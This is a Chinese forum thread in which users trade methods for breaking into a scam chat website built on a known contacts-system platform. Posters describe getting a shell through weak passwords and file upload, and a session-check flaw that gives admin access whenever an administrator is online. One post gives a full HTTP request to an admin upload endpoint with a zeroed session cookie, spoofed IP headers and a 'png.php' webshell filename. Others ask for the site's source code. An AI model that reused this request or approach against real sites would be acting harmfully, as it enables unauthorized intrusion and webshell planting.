遇到一个luo聊骗子的网站

这套系统应该是完美通讯录的系统，我之前搞得时候是弱密码进去，上传的文件拿到的shell，之前也尝试过从tp框架入手没头绪，完全过滤了报错，我之前搞得那个站点。

有未授权？这个还真不晓得，但是有没有可能会有日志泄露的可能性，我之前高的那个日志存放目录一般人还真找不到，也是进去后发现的。会有部分的SQL调试。

私发给你了

未授权其实就是后台那个图片上传点，只是至今没做权限限制，以前后台白名单有php可以上传getshell，新版把php从白名单剔除了。

兄弟，把源码发来看看

session校验有问题，只要后台有管理员在线 即可登录后台或者上传，所以爆破吧，等管理员在线 状态码200就成功咯
POST /admin/common/upload.shtml HTTP/1.1
Host: xxxxxxxxxxxx
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4464.5 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------10850788861062615920748423967
Content-Length: 72800
cookie:PHPSESSID=0
DNT: 1
Connection: close
X-Forwarded-For: 123.123.2.1
X-Originating-IP: 123.123.2.1
X-Remote-IP: 123.123.2.1
X-Remote-Addr: 123.123.2.1

-----------------------------10850788861062615920748423967
Content-Disposition: form-data; name="file"; filename="123.png.php"
Content-Type: image/png

?
-----------------------------10850788861062615920748423967--

谢谢大佬

老哥，这个并没有绕过上传限制，不能上传php文件，这个接口一直都存在未授权，当前版本做了白名单限制，上传不了php。只能看能不能绕过限制或者找其他漏洞

老哥 能来份源码吗